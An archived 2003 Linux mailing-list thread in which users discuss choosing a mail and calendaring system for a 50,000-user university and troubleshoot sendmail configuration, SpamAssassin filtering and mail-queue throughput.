Marcus Tullius Ciceroca, 42 BC ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jason Joines wrote: | We just got a new CIO at the university where I work. One thing he is | about to do is get rid of all the different mail systems and have one | big combined system for all employees and students. That'll be about | 50,000 users. | | At the moment the predominant faculty/staff mail system is Lotus Domino | on windows 2k and the predominant system for students is Sun Internet | Mail Server on Solaris. He intends to replace these with ms exchange on | windows 2k. There is a small chance he will listen to suggestions to | consider non-exchange options. | | Any suggestions? | | Thanks, | | Jason Joines | Open Source = Open Mind | phpgroupware. http://phpgroupware.com - -- Andrew Mathews - - ~ 10:24am up 9 days, 9:11, 10 users, load average: 1.54, 1.27, 1.21 - - There is an old time toast which is golden for its beauty. When you ascend the hill of prosperity may you not meet a friend. -- Mark Twain - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/TNzMidHQ0m/kEssRAp4+AJ49nl27MXWuk7KUOyVOlvsDbaY9SACfXATy m0fiAxdAS/CRaOTFB8MPZzA= =ibtJ -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
David A. Bandel wrote: On Wed, 27 Aug 2003 09:00:25 -0500 Jason Joines [EMAIL PROTECTED] wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? If he's serious about Exchange with 50k+ users, I suggest you find a new job (the recent posting to this list comes to mind). Not even M$ can get this to work. You'll need one exchange server per 500 users (so 100+ Win2k systems running Exchange should work) -- or, one Linux box using something like PowerMail (and PostgreSQL), although I'd suggest 3 systems for good failover capability. Also, the PowerMail solution will cost you about half a million $$$ less and not have nearly the headaches. BTW, to run 100+ Win2k servers, you'll need at least 10 more Windoze admins too (not included in above cost savings estimate, so estimate over $1,000,000 in savings per year). OTOH, if this guys importance is measured in terms of the size of his budget and not his successful accomplishments, only M$ will do. M$, the empire builders' dream. Ciao, David A. Bandel ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users If anyone has a copy of that post or remembers the subject so I can search for it, please send it to me. Thanks, Jason === ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
On 8/27/2003 12:31 PM, someone claiming to be Andrew Mathews wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jason Joines wrote: | We just got a new CIO at the university where I work. One thing he is | about to do is get rid of all the different mail systems and have one | big combined system for all employees and students. That'll be about | 50,000 users. | | At the moment the predominant faculty/staff mail system is Lotus Domino | on windows 2k and the predominant system for students is Sun Internet | Mail Server on Solaris. He intends to replace these with ms exchange on | windows 2k. There is a small chance he will listen to suggestions to | consider non-exchange options. | | Any suggestions? | | Thanks, | | Jason Joines | Open Source = Open Mind | phpgroupware. http://phpgroupware.com Do you use it? I've looked at it for our small network here, but haven't tried to implement it yet. Tim ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
Ya, evolkution is an Outlook clone. Its not an exchange clone, AFAIK. On Wed, 27 Aug 2003, Tim Wunder wrote: Isn't that just for the client end, to connect to the servers? On 8/27/2003 12:03 PM, someone claiming to be Mike Reinehr wrote: I only know what I've read about it, but it sounds like Ximian Evolution would be just the product for you: http://www.ximian.com/products/evolution/ cmr On Wednesday 27 August 2003 09:00 am, you wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Open Source = Open Mind ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users -- ~~ Lonni J Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo http://netllama.ipfox.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
I should have remembered the proverb: Better to be silent and let people think you are a fool, than to speak and let them know it. My bad. Spoke about something I know nothing about. cmr On Wednesday 27 August 2003 12:16 pm, you wrote: Ya, evolkution is an Outlook clone. Its not an exchange clone, AFAIK. On Wed, 27 Aug 2003, Tim Wunder wrote: Isn't that just for the client end, to connect to the servers? On 8/27/2003 12:03 PM, someone claiming to be Mike Reinehr wrote: I only know what I've read about it, but it sounds like Ximian Evolution would be just the product for you: http://www.ximian.com/products/evolution/ cmr On Wednesday 27 August 2003 09:00 am, you wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Open Source = Open Mind ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users -- Debian 'Sarge': Registered Linux User #241964 More laws, less justice. -- Marcus Tullius Ciceroca, 42 BC ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder wrote: [...] | | phpgroupware. | http://phpgroupware.com | | | Do you use it? I've looked at it for our small network here, but haven't | tried to implement it yet. | | Tim Yes. We have around 2000 users and it works quite well. phpgroupware/sendmail/MIMEDefang/clamav gives us shared calendars, global address books, check in/out functions, web, pop3 imap4 mail, spam filtering, anti virus scanning all in one system that doesn't even yawn at 15,000 messages a day. (before sobig blaster) Total cost? $0. Compared to 4 Exchange servers at $1,200 per, plus $50 per client license (x 2000) to connect = $104,800. To try to be a proponent of a solution like Microsoft offers would definitely be a valid argument of more money than brains We've made some worthwhile contributions to mail-abuse.org, phpgroupware, sendmail, spamcop.net and other open source providers though. - -- Andrew Mathews - - ~ 11:08am up 9 days, 9:55, 10 users, load average: 1.11, 1.11, 1.09 - - If you knew what to say next, would you say it? - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/TOmMidHQ0m/kEssRArAjAJ0bAOLx3wdg3lCFsg5bLagPGdlVngCggnv0 32uv23El5oewshZywJylxcs= =Ku4/ -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
Jason Joines [EMAIL PROTECTED] Wed, 27 Aug 2003 09:00:25 -0500 We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines The recent virii incidents ought to be sufficiently fresh to make a point about downtime vulnerability. At the U of MN students can connect inside the firewall. A single machine infected outside and then logging in inside will compleatly bypass the firewall. I am not sure about cost savings specifically but linux should mean fewer machines, therefore fewer support resources, therefore fewer ongoing costs. In the current economy, universities seem to be getting squeezed pretty good. It all depends on the CIO's goal. If he wants to have the largest staff and biggest budget, stress the threat of downtime. (It is already assumed that he is susceptible to FUD, at least from M$.) If he wants to show efficiency and budget cutting know how, stress simplicity and cost savings. ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Wunder wrote: [...] | | phpgroupware. | http://phpgroupware.com | | | Do you use it? I've looked at it for our small network here, but haven't | tried to implement it yet. | | Tim Yes. We have around 2000 users and it works quite well. phpgroupware/sendmail/MIMEDefang/clamav gives us shared calendars, global address books, check in/out functions, web, pop3 imap4 mail, spam filtering, anti virus scanning all in one system that doesn't even yawn at 15,000 messages a day. (before sobig blaster) Total cost? $0. Compared to 4 Exchange servers at $1,200 per, plus $50 per client license (x 2000) to connect = $104,800. To try to be a proponent of a solution like Microsoft offers would definitely be a valid argument of more money than brains We've made some worthwhile contributions to mail-abuse.org, phpgroupware, sendmail, spamcop.net and other open source providers though. - -- Andrew Mathews I'mn surprised you haven't plugged SpamAssassin into the mix. Is there a reason for that? Gerry ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
On Wed, 27 Aug 2003, Gerry Doris wrote: I'mn surprised you haven't plugged SpamAssassin into the mix. Is there a reason for that? Maybe cause its track record lately isn't that great. -- ~~ Lonni J Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo http://netllama.ipfox.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gerry Doris wrote: [...] |phpgroupware/sendmail/MIMEDefang/clamav gives us shared calendars, [...] | | I'mn surprised you haven't plugged SpamAssassin into the mix. Is there a | reason for that? | | Gerry We don't really need it. We run Symantec AV on a Sun Solaris box that uses dnsbls. Our spam has dropped by 95%+ and it wouldn't serve much purpose. By the time it gets to the system it's already been scanned for virii and checked against the appropriate blacklists. We also have 4 more dnsbls coded into sendmail for a total of 7 checks, plus zone files for the ones available on our dns servers, so lookups are not a large amount of external traffic. The internal queries are on a gigabit network. So all total, a single message is scanned for virii twice by two different av scanners, and checked against 7 blacklists, as well as the access list blocking capabilities of sendmail. Excellent instructions for this are available at: http://abuse.easynet.nl/spamlist-usage.html HTH- - -- Andrew Mathews - - ~ 1:12pm up 9 days, 11:58, 10 users, load average: 1.13, 1.14, 1.17 - - Higher education helps your earning capacity. Ask any college professor. - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/TQbpidHQ0m/kEssRAsCAAJ9gUw3N7O5fdZFI74t4lw/sYyIJFgCfRZQ3 ufnSSyAw3wAbcZXi4U6sXek= =7L3q -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
Jason Joines wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. We run a single M$ E2K server for around 1000 users and it needs fairly intense admin... especially as the information stores are around the 200GB mark. Lotus Domino server will run on Linux so throw that in as an option for a more stable server over the W2K base. However Outlook is a better PIM than the Lotus Notes Variety. Will clients want to synchronize PDA's? etc There are solutions provided by the big linux providers http://www.suse.de/en/business/products/suse_business/openexchange/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Ideas for Mail and Calendaring for 50,000 Users
Jason Joines wrote: We just got a new CIO at the university where I work. One thing he is about to do is get rid of all the different mail systems and have one big combined system for all employees and students. That'll be about 50,000 users. At the moment the predominant faculty/staff mail system is Lotus Domino on windows 2k and the predominant system for students is Sun Internet Mail Server on Solaris. He intends to replace these with ms exchange on windows 2k. There is a small chance he will listen to suggestions to consider non-exchange options. Any suggestions? Thanks, Jason Joines Open Source = Open Mind ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users http://groupware.openoffice.org/ ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Mail related issues
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Swapana Ghosh wrote: | Hi | |i am facing one problem recently...My server is | cobalt-raq4r. we have created the users through the | cobalt GUI and *sendmail* is running as MTA . Now in | case of the mails. The problem is as follows: | | - When one user is sending mail from any address | to one of | our domain the messages are showing in the | /var/log/maillog as follows: | __ |Aug 8 09:21:11 server sendmail[1712]: | h78GLBP01712: from=[EMAIL PROTECTED], | size=752, class=0, nrcpts=1, | msgid=[EMAIL PROTECTED], pro | to=ESMTP, daemon=MTA, relay=artemis.ixpres.com | [216.240.160.204] | | Aug 8 09:21:12 server sendmail[1713]: h78GLBP01712: | to=[EMAIL PROTECTED], | delay=00:00:01, xdelay=00:00:01, mailer=local, | pri=30266, dsn=2.0.0, stat=Sent Since you see it processing through syslog as such, before any header rewrite, then that's how the user is sending it. They need to send it to [EMAIL PROTECTED] rather than [EMAIL PROTECTED] The from= in syslog is shown only for sender records. ~ _ | | When i am checking the mail, the mail is showing in my | mailbox as follows: | | Date: Fri, 8 Aug 2003 09:23:25 -0700 | From: Michael A [EMAIL PROTECTED] | To: [EMAIL PROTECTED] | Subject: Contact Information | | | I don't want that the To will be assigned as | [EMAIL PROTECTED] You can use the virtusertable and genericstable functions of sendmail to readdress the messages if needed. See: http://www.sendmail.org/virtual-hosting.html Make sure your DNS records are correct first, as any errors will make the rest of your efforts irrelevant. | It is not happening for all the users - somtimes i am | seeing that though the maillog | is showing [EMAIL PROTECTED] but the mail is | coming in my inbox as Did you rebuild your sendmail.cf with FEATURE(always_add_domain)? This will always add a domain in conjunction with the MASQUERADE_AS flag. Could be you defined one but not the other. What's in your /etc/mail/local-host-names? | | [EMAIL PROTECTED] For few cases , i am seeing this | type of behavior Please post a syslog record with the matching message header, as well as the ruleset 93 sendmail.cf when you are able. | If anybody can point me out why it is behaving this | type of - it will be really | helpful... | | Thanks in advance. | -Swapna | - -- Andrew Mathews - - ~ 7:36pm up 26 days, 23:21, 11 users, load average: 5.08, 5.08, 4.95 - - A prohibitionist is the sort of man one wouldn't care to drink with - -- even if he drank. -- H.L. Mencken - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/NFUfidHQ0m/kEssRAkrZAJ48qomhSJEM4DCXroQQU3KdRmfmrgCcDx7I Qt7bhOVjmNDbTdR4rzzTbsw= =9UXQ -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Mail related issues
Hi i am facing one problem recently...My server is cobalt-raq4r. we have created the users through the cobalt GUI and *sendmail* is running as MTA . Now in case of the mails. The problem is as follows: - When one user is sending mail from any address to one of our domain the messages are showing in the /var/log/maillog as follows: __ Aug 8 09:21:11 server sendmail[1712]: h78GLBP01712: from=[EMAIL PROTECTED], size=752, class=0, nrcpts=1, msgid=[EMAIL PROTECTED], pro to=ESMTP, daemon=MTA, relay=artemis.ixpres.com [216.240.160.204] Aug 8 09:21:12 server sendmail[1713]: h78GLBP01712: to=[EMAIL PROTECTED], delay=00:00:01, xdelay=00:00:01, mailer=local, pri=30266, dsn=2.0.0, stat=Sent _ When i am checking the mail, the mail is showing in my mailbox as follows: Date: Fri, 8 Aug 2003 09:23:25 -0700 From: Michael A [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Contact Information I don't want that the To will be assigned as [EMAIL PROTECTED] It is not happening for all the users - somtimes i am seeing that though the maillog is showing [EMAIL PROTECTED] but the mail is coming in my inbox as [EMAIL PROTECTED] For few cases , i am seeing this type of behavior If anybody can point me out why it is behaving this type of - it will be really helpful... Thanks in advance. -Swapna __ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: mail is not reaching.
Hi
Few months back I have insalled
*spamassassin* with spamc/spamd
in one of our server.
As i have failed in subscribing to the
spamassassin list(they are giving message that they
sent email to my address for authentication but i did
not receive any mail from them till yet :-) ) so i am
asking my questions here. If anybody answers me though
, it will be helpful...
As i am getting information from our clients
that they are getting spam mails - that means few
mails are not being filtered by spamc/spamd. No. of
hits is showing -(ve)
I checked the log file. I found that the mail
which, one of the clint has reported, those are
showing as *clear messages* .
Here i is the user-prefs configuration ::
___
# How many hits before a mail is considered spam.
required_hits 4
#
# score SYMBOLIC_TEST_NAME n.nn
subject-tag {SPAM?}
report_header 1
___
Here is the mail which client has forwarded
to me::: I have changed the client email address as
per their wish...
___
Return-Path: [EMAIL PROTECTED]
Received: from thebestpr1nt1ngs1teever.com
(cpe-24-197-101-203.spart.sc.charter.com
[24.197.101.203])
by server (8.10.2/8.10.2) with SMTP id h71NZPP27293
for [EMAIL PROTECTED]; Fri, 1 Aug 2003 16:35:25 -0700
Message-ID:
[EMAIL PROTECTED]
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: PRINTING CARTRIDGES, Ideal Prices
Date: Sat, 2 Aug 2003 07:44:30 -0600
MIME-Version: 1.0
Content-Type: text/plain;
charset=us-ascii
X-Priority: 3
X-MimeOLE: Produced By Microsoft MimeOLE
V6.00.2800.1106
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
server id
h71NZPP27293
X-Spam-Status: No, hits=-1.2 required=4.0
tests=INVALID_MSGID,NO_REAL_NAME,SPAM_PHRASE_01_02,TONER,
USER_AGENT_OE
version=2.41
X-Spam-Level:
67 Percent off all printing supplies!
Please see our stores,
feel what
others already have, the best ink
cartridges
at an amazining price
I offer any
models including,
Canon,
Lexmark Epson, and HP
http://u-need-1nk-we-th1nk.com/neb.html
___
It will be apprecited if some one guides me and help
me out - Can it be possible to solve this problem if
any thing is set to the user_pref file? The version of
spamassassin , i am running is 2.41.
Regards.
-Swapna
__
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
http://sitebuilder.yahoo.com
___
Linux-users mailing list
[EMAIL PROTECTED]
Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Squirrel Mail Test
Please ignore and delete James McDonald Systems Engineer Singleton NSW Australia ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Regarding sendmail mail queue
Hi Andrew Thanks a lot... Now the mail are coming to my queue and i am not seeing any rejectiong of smtp connection in the maillog. So qmail is sending the mail without holding those defeffed mails in its queue. But one problem is there . All the mails are now gathered in the /var/spool/mqueue... No mails are going to senders... So here i am stuck again... I have mentioned the sendmail.mc file below: Thanks again - pl. let me know what to do again for generating the mails in queue. Regards. -Swapna Andrew Mathews wrote: | Hi Andrew | |Here is my sendmail.mc file - i am sending because | if i missed anything to explain you | | divert(-1) | | include(`/home/swapna/sendtest/m4/cf.m4') | VERSIONID(`linux setup for Red Hat Linux')dnl | OSTYPE(`linux') | | define(`confDEF_USER_ID',``8:12'')dnl Add define(`confTRUSTED_USER', `smmsp')dnl here (And make sure smmsp user exists) | undefine(`UUCP_RELAY')dnl | undefine(`BITNET_RELAY')dnl Change these to:dnl (`UUCP_RELAY')dnl dnl (`BITNET_RELAY')dnl unless you're still using uucp and bitnet. |define(`confTO_CONNECT', `1m')dnl |define(`confTRY_NULL_MX_LIST',true)dnl |define(`confDONT_PROBE_INTERFACES',true)dnl | define(`PROCMAIL_MAILER_PATH',`/usr/bin/procmail')dnl |define(`confCONNECTION_RATE_THROTTLE', `50')dnl Increase this to 75 for now. |define(`ALIAS_FILE', `/etc/aliases')dnl |define(`UUCP_MAILER_MAX', `200')dnl Change this to dnl (`UUCP_MAILER_MAX', `200')dnl as you don't need it. |define(`confUSERDB_SPEC', `/etc/mail/userdb.db')dnl |define(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl |define(`confAUTH_OPTIONS', `A')dnl |define(`confTO_IDENT', `0')dnl Add your define(`conf DELAY_LA', `0')dnl and define(`confREFUSE_LA', `0')dnl here. (0 disables a max threshhold) |FEATURE(`no_default_msa',`dnl')dnl |FEATURE(`smrsh',`/usr/sbin/smrsh')dnl |FEATURE(`mailertable',`hash -o /etc/mail/mailertable.db')dnl |FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable.db')dnl |FEATURE(redirect)dnl |FEATURE(always_add_domain)dnl |FEATURE(use_cw_file)dnl |FEATURE(use_ct_file)dnl |FEATURE(local_procmail,`',`procmail -t -Y -a $h -d $u')dnl |FEATURE(`access_db',`hash -TTMPF -o /etc/mail/access.db')dnl |FEATURE(`blacklist_recipients')dnl You probably won't use this right now, set it to: dnl FEATURE(`blacklist_recipients')dnl |EXPOSED_USER(`root')dnl |DAEMON_OPTIONS(`Port=smtp,Addr=0.0.0.0, Name=MTA')dnl Add DAEMON_OPTIONS(`Port=submission, Name=MSA, M=Ea')dnl here. You don't have a submission port defined (port 587) so everything is going across port 25 unnecessarily. | |FEATURE(`accept_unresolvable_domains')dnl Get rid of this one, it's poor security. Set it to: dnl FEATURE(`accept_unresolvable_domains')dnl | |MAILER(smtp)dnl |MAILER(procmail)dnl |Cwlocalhost.localdomain | Andrew Mathews HERE IS THE MODIFIED SENDMAIL.MC FILE __ 1 divert(-1) 2 dnl This is the sendmail macro config file. If you make changes to this file, 3 dnl you need the sendmail-cf rpm installed and then have to generate a 4 dnl new /etc/mail/sendmail.cf by running the following command: 5 dnl 6 dnlm4 /etc/mail/sendmail.mc /etc/mail/sendmail.cf 7 dnl 8 include(`/home/swapna/sendtest/m4/cf.m4') 9 VERSIONID(`linux setup for Red Hat Linux')dnl 10 OSTYPE(`linux') 11 dnl Uncomment and edit the following line if your mail needs to be sent out 12 dnl through an external mail server: 13 dnl define(`SMART_HOST',`smtp.your.provider') 14 define(`confDEF_USER_ID',``8:12'')dnl 15 dnl undefine(`UUCP_RELAY')dnl 16 dnl undefine(`BITNET_RELAY')dnl 17 dnl define(`confAUTO_REBUILD')dnl 18 define(`confTO_CONNECT', `1m')dnl 19 define(`confTRY_NULL_MX_LIST',true)dnl 20 define(`confDONT_PROBE_INTERFACES',true)dnl 21 define(`PROCMAIL_MAILER_PATH',`/usr/bin/procmail')dnl 22 define(`confCONNECTION_RATE_THROTTLE', `75')dnl 23 define(`ALIAS_FILE', `/etc/aliases')dnl 24 dnl define(`STATUS_FILE', `/etc/mail/statistics')dnl 25 dnl define(`UUCP_MAILER_MAX', `200')dnl 26 define(`confUSERDB_SPEC', `/etc/mail/userdb.db')dnl 27 define(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl 28 define(`confAUTH_OPTIONS', `A')dnl 29 define(`conf DELAY_LA', `0')dnl 30 define(`confREFUSE_LA', `0')dnl 31 define(`confQUEUE_SORT_ORDER', `random')dnl 32 dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl 33 dnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 L
Regarding sendmail mail queue
Hi Andrew Thanks a lot I waited almost 1 hr just to see if my luck favours. But i found that after more than an hr mail started to generate from the queue and finally all mails have been sent... Best Regards. -Swapna __ Do you Yahoo!? SBC Yahoo! DSL - Now only $29.95 per month! http://sbc.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Related sendmail mail queue
Hi When i am processing 10,000 subscribers for the mailing list testing, then the records took 15 mints to clear the qmail queue and after 15 mints i checked that all the records came to sendmail queue and then it started for clearing the queue. But when the same testing i did with 50,000 records, I guessed that altogether qmail willl take 75 mints to clear its mailq? But i saw that the processing became very slow in the middle. I mean sendmail was accepting the mail very slowlyAnd finally all the mails to come from qmail server to sendmail server, took almost 4 hrs As the qmail doc is telling that qmail clears the 50k queue in 1 hr or less(if it does not have any deferred mails) then.. what should i think ...Is it the sendmail that slagging down the process for handling the huge queue? Moreover the server i am using for processing the list where qmail is installed, it is intel XEON with multiprocessors - I mean physically 4 CPUs are running.. I have now created 5 users and each users for 10,000 aliases, that means purposely i have distributed the records in between 5 users... How can i process more quickly in my sendmail server.. I want that it will process its mail queue more quickly so that the qmail server can generate 50,000 records to sendmsail server within 1 hr or less In my earlier mail , i have posted the sendmail.mc file Your suggession is always appreciated... Thanks again Best regards. -Swapna __ Do you Yahoo!? SBC Yahoo! DSL - Now only $29.95 per month! http://sbc.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Related sendmail mail queue
How much memory does this box have? What kind of HDs? What's the load like when its taking an hour to send mail? Which version of sendmail? Which kernel version? What kind of network connection do you have (type speed)? On 06/14/03 18:54, Swapana Ghosh wrote: Hi When i am processing 10,000 subscribers for the mailing list testing, then the records took 15 mints to clear the qmail queue and after 15 mints i checked that all the records came to sendmail queue and then it started for clearing the queue. But when the same testing i did with 50,000 records, I guessed that altogether qmail willl take 75 mints to clear its mailq? But i saw that the processing became very slow in the middle. I mean sendmail was accepting the mail very slowlyAnd finally all the mails to come from qmail server to sendmail server, took almost 4 hrs As the qmail doc is telling that qmail clears the 50k queue in 1 hr or less(if it does not have any deferred mails) then.. what should i think ...Is it the sendmail that slagging down the process for handling the huge queue? Moreover the server i am using for processing the list where qmail is installed, it is intel XEON with multiprocessors - I mean physically 4 CPUs are running.. I have now created 5 users and each users for 10,000 aliases, that means purposely i have distributed the records in between 5 users... How can i process more quickly in my sendmail server.. I want that it will process its mail queue more quickly so that the qmail server can generate 50,000 records to sendmsail server within 1 hr or less In my earlier mail , i have posted the sendmail.mc file Your suggession is always appreciated... -- ~ L. Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo:http://netllama.ipfox.com 7:00pm up 15 days, 3:14, 1 user, load average: 0.18, 0.66, 0.63 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Related sendmail mail queue
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Swapana Ghosh wrote: | Hi | | When i am processing 10,000 subscribers for the | mailing list testing, then the records took 15 mints | to clear the qmail queue and after 15 mints i checked | that all the records came to sendmail queue and then | it started for clearing the queue. | But when the same testing i did with 50,000 | records, I guessed that altogether qmail willl take 75 | mints to clear its mailq? | But i saw that the processing became very slow in | the middle. I mean sendmail was accepting the mail | very slowlyAnd finally all the mails to come from | qmail server to sendmail server, took almost 4 hrs | As the qmail doc is telling that qmail clears the | 50k queue in 1 hr or less(if it does not have any | deferred mails) then.. what should i think ...Is it | the sendmail that slagging down the process for | handling the huge queue? Moreover the server i am | using for processing the list where qmail is | installed, it is | intel XEON with multiprocessors - I mean physically 4 | CPUs are running.. | I have now created 5 users and each users for | 10,000 aliases, that means purposely i have | distributed the records in between 5 users... | How can i process more quickly in my sendmail | server.. I want that it will process its mail queue | more quickly so that the qmail server can generate | 50,000 records to sendmsail server within 1 hr or | less | In my earlier mail , i have posted the | sendmail.mc file | | Your suggession is always appreciated... | | Thanks again | Best regards. | -Swapna | To process the sendmail queue more frequently, check your init script for it. On a Red Hat system look at /etc/sysconfig/sendmail. It will show something like: DAEMON=yes QUEUE=1h Change the QUEUE to something like 5m to process it once a minute. This is extreme, so use it at your own risk. - -- Andrew Mathews - - ~ 8:19pm up 15 days, 10:21, 12 users, load average: 1.04, 1.06, 1.02 - - If a man has talent and cannot use it, he has failed. -- Thomas Wolfe - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE+69ioidHQ0m/kEssRAm0bAJ4h4LtRgkOMZ5fTWapMOcXcvjyWFACeO1DZ Y9LYzrI4ml+KNKjOdq8+ATA= =1ZsA -END PGP SIGNATURE- ___ Linux-users 